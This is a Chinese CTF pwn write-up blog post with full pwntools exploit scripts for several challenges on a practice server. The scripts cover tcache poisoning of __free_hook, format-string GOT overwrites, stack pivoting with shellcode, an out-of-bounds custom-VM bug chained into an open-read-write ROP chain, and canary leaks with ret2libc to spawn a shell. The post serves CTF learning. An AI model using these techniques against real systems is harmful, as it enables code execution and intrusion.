https://www.cnblogs.com/pwnfeifei/p/15856680.html

from pwn import *
import os

# 获取当前脚本所在目录的绝对路径
base_dir = os.path.dirname(os.path.abspath(__file__))
# 将工作目录切换到脚本所在目录
os.chdir(base_dir)
print("当前工作目录:", os.getcwd())


context(arch="amd64", os="linux")
context.log_level = "debug"
# context.terminal = ['tmux', 'splitw', '-h']
file = "./pwn"
elf = ELF(file)
libc = ELF("./glibc/libc-2.29.so")

choice = 1
if choice:
    port = 24842
    target = "challenge.bluesharkinfo.com"
    p = remote(target, port)
else:
    p = process(file)


def debug(cmd=""):
    if choice == 1:
        return
    gdb.attach(p, gdbscript=cmd)


libc_base = b"fake_libc_base"

s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
sa = lambda x, data: p.sendafter(x, data)
sla = lambda x, data: p.sendlineafter(x, data)
r = lambda num=4096: p.recv(num)
rl = lambda num=4096: p.recvline(num)
ru = lambda x: p.recvuntil(x)
itr = lambda: p.interactive()
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
uru64 = lambda: uu64(ru("\x7f")[-6:])
leak = lambda name: log.success("{} = {}".format(name, hex(eval(name))))
libc_os = lambda x: libc_base + x


def add(index, size, content):
    sla(": ", b"1")
    sla(": ", str(size))
    sla(": ", content)


def delete(index):
    sla(": ", b"2")
    sla(": ", str(index))


def show(index):
    sla(": ", b"3")
    sla(": ", str(index))


for i in range(7):
    add(i, 0x90, b"a")
add(7, 0x90, b"a")
add(8, 0x90, b"a")
add(9, 0x90, b"a")


for i in range(7):
    delete(i)

delete(7)
delete(8)

show(7)
# debug()

libc_base = uru64() - 0x1E4CA0
leak("libc_base")
free_hook = libc_os(libc.symbols["__free_hook"])
system = libc_os(libc.symbols["system"])


# debug()
add(10, 0x90, b"a")
delete(8)
# debug()

payload = b"a" * 0x90 + p64(0) + p64(0xA1) + p64(free_hook)
add(11, 0xB0, payload)

add(12, 0x90, b"/bin/sh\x00")
add(13, 0x90, p64(system))
delete(12)

itr()

bad_box

dump 不下来,真是 caodan

网上找的脚本

from pwn import *

p = remote("challenge.bluesharkinfo.com", 29994)
context.arch = "amd64"


exit_got = 0x4033A0

backdoor = 0x40125B

payload = fmtstr_payload(8, {exit_got: backdoor},write_size='byte')

payload=payload.ljust(50,b'\x00')
p.recvuntil('un\n')

p.send(payload)

p.interactive()

baby_stack

大概修复一下程序逻辑

在 init 里面分配了一段内存,有 rwx 权限

然后往那段内存中读入 16 字节。下面还给了 pie 和栈地址

最后有栈溢出

不过藏东西了,这里加了个类 canary 检测的功能,不过检测的是返回地址的最低一个字节有没有被改变,但是前面给了 pie,所以没什么所谓,而且只有这个函数没有 canary,大概体现在其他函数都是 return v4 - __readfsqword(0x28u); 但这个函数是 return 0,canary 检测逻辑也没被调用

最后这里走返回地址没被改变的分支的话有两个 leave ret,所以把 rbp 覆盖成 0x114514000 就能把栈迁移到那边去

然后我们在第一次输入 8 字节 shellcode + shellcode 地址即可

code = [
    b"\x54", # push rsp
    b"\x5e", # pop rsi
    b"\x48\x83\xee\x10", # sub rsi,0x10
    b"\x0f\x05", # syscall
]
raw = b"".join(code)

raw += p64(0x114514000)

寄存器状态如下

造个 read 继续写 shellcode 就行

from pwn import *

context(arch='amd64',log_level = 'debug',os = 'linux')
file='/mnt/c/Users/Z2023/Desktop/baby_stack'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF(file)

choice = 0x00
if choice:
    port=   00000
    local = 'challenge.bluesharkinfo.com'
    p = remote(local,port)

else:
    p = process(file)

s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x
libc_sym  = lambda x                :libc_os(libc.sym[x])
clear       =       lambda                            : os.system('clear')
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
        if choice==1:
                return  
        gdb.attach(p,cmd)

cmd = '''
b *$rebase(0x000000000000171c)
'''

debug(cmd)

code = [
    b"\x54", # push rsp
    b"\x5e", # pop rsi
    b"\x48\x83\xee\x10", # sub rsi,0x10
    b"\x0f\x05", # syscall
]
raw = b"".join(code)

raw += p64(0x114514000)
s(raw)

ru('GIFT?\n')
main = uu64(rl()[:-1].ljust(8,b'\x00'))
leak('main')

elf_base = main - 0x000000000000184F
leak('elf_base')

stack = uu64(rl()[:-1].ljust(8,b'\x00'))
leak('stack')

pause()

payload = b'a'*(0x110) + p64(0x114514000) + p64(elf_base + 0x000000000000189B)
sl(payload)

pause()
shellcode = b'\x90'*0x10 + asm(shellcraft.cat("/flag"))
s(shellcode)
itr()

my_vm

seadream 复现

沙箱

line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

实现了这些功能

**Opcode**
**伪代码 / 汇编助记符**
**功能描述**
**对应 C 代码**
**0**
`ADD reg[dst], reg[src2], reg[src1]`
**加法**: 将两个寄存器相加存入目标
`reg[ptr[1]] = reg[ptr[3]] + reg[ptr[2]]`
**1**
`SUB reg[dst], reg[src1], reg[src2]`
**减法**: src1 减 src2 存入目标
`reg[ptr[1]] = reg[ptr[2]] - reg[ptr[3]]`
**2**
`MUL reg[dst], reg[src1], reg[src2]`
**乘法**: 两个寄存器相乘
`reg[ptr[1]] = reg[ptr[2]] * reg[ptr[3]]`
**3**
`DIV reg[dst], reg[src1], reg[src2]`
**除法**: src1 除以 src2
`reg[ptr[1]] = reg[ptr[2]] / reg[ptr[3]]`
**4**
`SHL reg[dst], reg[src1], reg[src2]`
**左移**: src1 左移 src2 位
`reg[ptr[1]] = reg[ptr[2]] << reg[ptr[3]]`
**5**
`SHR reg[dst], reg[src1], reg[src2]`
**右移**: src1 右移 src2 位
`reg[ptr[1]] = reg[ptr[2]] >> reg[ptr[3]]`
**6**
`XOR reg[dst], reg[src2], reg[src1]`
**异或**: 两个寄存器按位异或
`reg[ptr[1]] = reg[ptr[3]] ^ reg[ptr[2]]`
**7**
`PUSH reg[dst]`
**入栈**: 将寄存器值压入栈
`v9[v6++] = reg[ptr[1]]`
**8**
`POP reg[dst]`
**出栈**: 将栈顶值弹出至寄存器
`if(!v6) exit; reg[ptr[1]] = v9[--v6]`
9
-
ret
-

其中没有检测下标,所以可以向上溢出,把 stderr push 出来再 pop 回去,这样就能拿到 libc

效果大概是这样

然后自己除以自己搞一个 1 出来,这样方便我们用左移和加法来构造任意数字。直接让 ai 整合一下功能,再把 orw 的 rop 链所需要的地址都放到 reg 里面,一直 push 就能让这个自己的"rsp"走到原本的返回地址处,中间还需要记录一个栈地址和 canary,栈地址用来存放 /flag 字符串

from pwn import *

context(arch='amd64',log_level = 'debug',os = 'linux')
file='/mnt/c/Users/Z2023/Desktop/vmm/vm'
libc = ELF('/mnt/c/Users/Z2023/Desktop/vmm/libc.so.6')
elf=ELF(file)

choice = 0x00
if choice:
    port=   00000
    local = 'challenge.bluesharkinfo.com'
    p = remote(local,port)

else:
    p = process(file)

s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x
libc_sym  = lambda x                :libc_os(libc.sym[x])
clear       =       lambda                            : os.system('clear')
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
        if choice==1:
                return  
        gdb.attach(p,cmd)

class VMAssembler:
    def __init__(self):
        pass

    def _encode(self, opcode, dst, src1=0, src2=0):
        """
        内部函数:将指令打包成 64 位整数
        映射关系根据 C 代码 ret_code 函数逻辑:
        Byte 0 (LSB) -> Opcode (ptr[0])
        Byte 1       -> Dst Index (ptr[1])
        Byte 2       -> Src1 Index (ptr[2])
        Byte 3       -> Src2 Index (ptr[3])
        """
        opcode &= 0xFF
        dst &= 0xFF
        src1 &= 0xFF
        src2 &= 0xFF

        payload = opcode | (dst << 8) | (src1 << 16) | (src2 << 24)
        return payload

    def add(self, dst_idx, src1_idx, src2_idx):
        """Case 0: reg[dst] = reg[src2] + reg[src1]"""
        return self._encode(0, dst_idx, src1_idx, src2_idx)

    def sub(self, dst_idx, src1_idx, src2_idx):
        """Case 1: reg[dst] = reg[src1] - reg[src2]"""
        return self._encode(1, dst_idx, src1_idx, src2_idx)

    def mul(self, dst_idx, src1_idx, src2_idx):
        """Case 2: reg[dst] = reg[src1] * reg[src2]"""
        return self._encode(2, dst_idx, src1_idx, src2_idx)

    def div(self, dst_idx, src1_idx, src2_idx):
        """Case 3: reg[dst] = reg[src1] / reg[src2]"""
        return self._encode(3, dst_idx, src1_idx, src2_idx)

    def shl(self, dst_idx, src1_idx, src2_idx):
        """Case 4: reg[dst] = reg[src1] << reg[src2]"""
        return self._encode(4, dst_idx, src1_idx, src2_idx)

    def shr(self, dst_idx, src1_idx, src2_idx):
        """Case 5: reg[dst] = reg[src1] >> reg[src2]"""
        return self._encode(5, dst_idx, src1_idx, src2_idx)

    def xor(self, dst_idx, src1_idx, src2_idx):
        """Case 6: reg[dst] = reg[src2] ^ reg[src1]"""
        return self._encode(6, dst_idx, src1_idx, src2_idx)

    def push(self, src_idx):
        """Case 7: stack_push(reg[src])"""
        return self._encode(7, src_idx, 0, 0)

    def pop(self, dst_idx):
        """Case 8: reg[dst] = stack_pop()"""
        return self._encode(8, dst_idx, 0, 0)

    def get_negative_index(self, offset):
        return (offset + 256) % 256

def generate_number_payload(vm, target_num, res_reg=0, one_reg=1):
    """
    vm: VMAssembler 实例
    target_num: 要生成的数字 (例如 0x21b6a0)
    res_reg: 存放结果的寄存器索引
    one_reg: 存放常数 1 的寄存器索引
    """
    payloads = []
    
    # 1. 清空结果寄存器: reg[res_reg] = reg[res_reg] ^ reg[res_reg] => 0
    payloads.append(vm.xor(res_reg, res_reg, res_reg))
    
    # 转为二进制字符串,去掉 '0b' 前缀
    bin_str = bin(target_num)[2:]
        
    # 2. 遍历二进制位
    for char in bin_str:
        # 每次循环先左移一位: reg[res] = reg[res] << reg[one] (即 << 1)
        # 注意:VM的SHL指令是: reg[dst] = reg[src1] << reg[src2]
        payloads.append(vm.shl(res_reg, res_reg, one_reg))
        
        # 如果当前位是 '1',则加 1
        if char == '1':
            # reg[res] = reg[res] + reg[one]
            payloads.append(vm.add(res_reg, res_reg, one_reg))
            
    return payloads

vm = VMAssembler()

cmd = '''
b *$rebase(0x0000000000000C9A)
b *$rebase(0x0000000000001044)
'''
stderr_offset = 0x21b6a0

code_list = [
    vm.push(vm.get_negative_index(-4)),
    vm.push(vm.get_negative_index(-4)),
    vm.pop(0),
    vm.pop(1),
    vm.div(2,0,0)
]

code_list += generate_number_payload(vm, stderr_offset, 3, 2)
code_list.append(vm.sub(1,1,3))

# debug()
rdi = 0x000000000002a3e5
code_list += generate_number_payload(vm, rdi, 5, 2)
code_list.append(vm.add(5,1,5))

rsi = 0x000000000002be51
code_list += generate_number_payload(vm, rsi, 6, 2)
code_list.append(vm.add(6,1,6))

rdx_rbx = 0x00000000000904a9
code_list += generate_number_payload(vm, rdx_rbx, 7, 2)
code_list.append(vm.add(7,1,7))

r = libc.sym['read']
code_list += generate_number_payload(vm, r, 8, 2)
code_list.append(vm.add(8,1,8))

o = libc.sym['open']
code_list += generate_number_payload(vm, o, 9, 2)
code_list.append(vm.add(9,1,9))

w = libc.sym['write']
code_list += generate_number_payload(vm, w, 10, 2)
code_list.append(vm.add(10,1,10))

for j in range(0x19):
    code_list.append(vm.push(2))

code_list.append(vm.pop(11))
code_list.append(vm.push(2))

stack_offset = 0x328
code_list += generate_number_payload(vm, stack_offset, 3, 2)
code_list.append(vm.add(11,11,3))

flag = 0x67616c662f
code_list += generate_number_payload(vm, flag, 12, 2)
code_list.append(vm.push(12))

for j in range(0x200-0x19):
    code_list.append(vm.push(2))

# canary & padding
code_list += [
    vm.pop(4),
    vm.push(4),
    vm.push(4),
    vm.push(4)
]

# open('/flag',0)
code_list += [
    vm.push(5),
    vm.push(11),
    vm.push(6),
    vm.push(13),
    vm.add(0,2,2),
    vm.add(0,0,2),
    vm.push(9)
]

# read(3,stack,0x328)
code_list += [
    vm.push(5),
    vm.push(0),
    vm.push(6),
    vm.push(11),
    vm.push(7),
    vm.push(3),
    vm.push(3),
    vm.push(8)
]

# write(1,stack,0x328)
code_list += [
    vm.push(5),
    vm.push(2),
    vm.push(6),
    vm.push(11),
    vm.push(7),
    vm.push(3),
    vm.push(3),
    vm.push(10)
]


for i in code_list:
    sleep(0.05)
    sl(str(i))

debug()

sl('9')
itr()

heap?

堆上格式化字符串漏洞 + 栈溢出

from pwn import *

context(arch='amd64',log_level = 'debug',os = 'linux')
file='/mnt/c/Users/Z2023/Desktop/heap_/pwn'
libc = ELF('/mnt/c/Users/Z2023/Desktop/heap_/libc.so.6')
elf=ELF(file)

choice = 0x00
if choice:
    port=   22382
    local = 'challenge.bluesharkinfo.com'
    p = remote(local,port)

else:
    p = process(file)

s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x
libc_sym  = lambda x                :libc_os(libc.sym[x])
clear       =       lambda                            : os.system('clear')
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
        if choice==1:
                return  
        gdb.attach(p,cmd)

def malloc(length, content):
    sla(b'> ', b'1')
    sla(b'> ', str(length).encode())
    sa(b'> ', content)
    ru(b'OK!')

def free(content):
    # content = str(index).encode() + b'\x00'
    sla(b'> ', b'2')
    sa(b'> ', p64(len(content)))
    s(content)

def show(index):
    sla(b'> ', b'3')
    sla(b'> ', str(index).encode())

def ret():
    sla(b'> ', b'4')

cmd = '''
b *$rebase(0x0000000000001682)
b *$rebase(0x000000000000162D)
b *$rebase(0x0000000000001469)
'''

debug(cmd)

malloc(0x28,b'%7$p%8$p%13$p')
show(0)

ru('0x')
canary = int(r(16),16)
leak('canary')

ru('0x')
stack = int(r(12),16) - 0x58 + 0x100
leak('stack')

ru('0x')
libc.address = libc_base = int(r(12),16) - 0x29d90
leak('libc_base')

o = libc.sym['open']
r = libc.sym['read']
w = libc.sym['write']

rdi = libc_os(0x000000000002a3e5)
rsi = libc_os(0x000000000002be51)
rdx_r12 = libc_os(0x000000000011f357)

payload = b'a'*(0x10) + p64(canary) + p64(stack)
payload += flat(
    rdi, stack , rsi , 0 , o,
    rdi, 3 , rsi, stack-0x20 , rdx_r12 , 0x20 , 0x20 , r,
    rdi, 1,  rsi, stack-0x20 , rdx_r12 , 0x20 , 0x20 , w,
)
payload = payload.ljust(0x100,b'\x00')
payload += b'/flag\x00\x00\x00'
free(payload)

itr()

金丝雀的诱惑

泄露 canary,然后简单 ret2libc,在第二次返回函数那里卡了好久,应该可以返回 vuln,只不过需要丢掉 push rbp

from pwn import *
import os

base_dir = os.path.dirname(os.path.abspath(__file__))
os.chdir(base_dir)
print("当前工作目录:", os.getcwd())


context(arch="amd64", os="linux")
context.log_level = "debug"
file = "./pwn"
elf = ELF(file)
libc = ELF("./libc.so.6")

choice = 1
if choice:
    port = 28133
    target = "challenge.bluesharkinfo.com"
    p = remote(target, port)
else:
    p = process(file)


def debug(cmd=""):
    if choice == 1:
        return
    gdb.attach(p, gdbscript=cmd)


def get_sb():
    return libc_base + libc.sym["system"], libc_base + next(libc.search(b"/bin/sh\x00"))


libc_base = b"fake_libc_base"

s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
sa = lambda x, data: p.sendafter(x, data)
sla = lambda x, data: p.sendlineafter(x, data)
r = lambda num=4096: p.recv(num)
rl = lambda num=4096: p.recvline(num)
ru = lambda x: p.recvuntil(x)
itr = lambda: p.interactive()
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
uru64 = lambda: uu64(ru("\x7f")[-6:])
leak = lambda name: log.success("{} = {}".format(name, hex(eval(name))))
libc_os = lambda x: libc_base + x

gs = """
b *0x401429
b *0x401474 
"""
ru(">>\n")
payload = b"a" * (0x150 - 8) + b"A"
s(payload)
ru("A")


canary = uu64(b"\x00" + r(7))
leak("canary")
ru(">>\n")
payload = b"a" * (0x110 - 8) + p64(canary) + p64(0) + p64(0x401110)
# debug()
s(payload)
ru("name >>")
payload = b"b" * (0x150) + b"a" * 8

s(payload)

addr = uru64()
leak("addr")
libc_base = addr - 0x94AC3


system, binsh = get_sb()
rdi = libc_os(0x000000000002A3E5)
ret = libc_os(0x0000000000029139)

ru(">>\n")
payload = (
    (0x110 - 8) * b"a"
    + p64(canary)
    + p64(0)
    + p64(ret)
    + p64(rdi)
    + p64(binsh)
    + p64(system)
)
s(payload)

itr()
posted @ 2025-12-24 15:07  xNftrOne  阅读(9)  评论(0)    收藏  举报